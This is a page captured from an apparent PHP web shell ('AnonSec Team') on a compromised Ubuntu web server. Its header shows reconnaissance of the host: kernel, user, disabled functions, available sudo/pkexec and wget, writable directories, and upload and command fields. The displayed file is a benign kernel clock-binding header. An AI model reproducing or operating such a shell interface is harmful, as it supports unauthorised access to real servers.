NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.172
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1648833/cwd/lib/modules/5.15.0-153-generic/build/include/dt-bindings/clock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/1648833/cwd/lib/modules/5.15.0-153-generic/build/include/dt-bindings/clock/lpc32xx-clock.h
/*
 * Copyright (c) 2015 Vladimir Zapolskiy <vz@mleia.com>
 *
 * This code is released using a dual license strategy: BSD/GPL
 * You can choose the licence that better fits your requirements.
 *
 * Released under the terms of 3-clause BSD License
 * Released under the terms of GNU General Public License Version 2.0
 *
 */

#ifndef __DT_BINDINGS_LPC32XX_CLOCK_H
#define __DT_BINDINGS_LPC32XX_CLOCK_H

/* LPC32XX System Control Block clocks */
#define LPC32XX_CLK_RTC		1
#define LPC32XX_CLK_DMA		2
#define LPC32XX_CLK_MLC		3
#define LPC32XX_CLK_SLC		4
#define LPC32XX_CLK_LCD		5
#define LPC32XX_CLK_MAC		6
#define LPC32XX_CLK_SD		7
#define LPC32XX_CLK_DDRAM	8
#define LPC32XX_CLK_SSP0	9
#define LPC32XX_CLK_SSP1	10
#define LPC32XX_CLK_UART3	11
#define LPC32XX_CLK_UART4	12
#define LPC32XX_CLK_UART5	13
#define LPC32XX_CLK_UART6	14
#define LPC32XX_CLK_IRDA	15
#define LPC32XX_CLK_I2C1	16
#define LPC32XX_CLK_I2C2	17
#define LPC32XX_CLK_TIMER0	18
#define LPC32XX_CLK_TIMER1	19
#define LPC32XX_CLK_TIMER2	20
#define LPC32XX_CLK_TIMER3	21
#define LPC32XX_CLK_TIMER4	22
#define LPC32XX_CLK_TIMER5	23
#define LPC32XX_CLK_WDOG	24
#define LPC32XX_CLK_I2S0	25
#define LPC32XX_CLK_I2S1	26
#define LPC32XX_CLK_SPI1	27
#define LPC32XX_CLK_SPI2	28
#define LPC32XX_CLK_MCPWM	29
#define LPC32XX_CLK_HSTIMER	30
#define LPC32XX_CLK_KEY		31
#define LPC32XX_CLK_PWM1	32
#define LPC32XX_CLK_PWM2	33
#define LPC32XX_CLK_ADC		34
#define LPC32XX_CLK_HCLK_PLL	35
#define LPC32XX_CLK_PERIPH	36

/* LPC32XX USB clocks */
#define LPC32XX_USB_CLK_I2C	1
#define LPC32XX_USB_CLK_DEVICE	2
#define LPC32XX_USB_CLK_HOST	3

#endif /* __DT_BINDINGS_LPC32XX_CLOCK_H */

Anon7 - 2022
AnonSec Team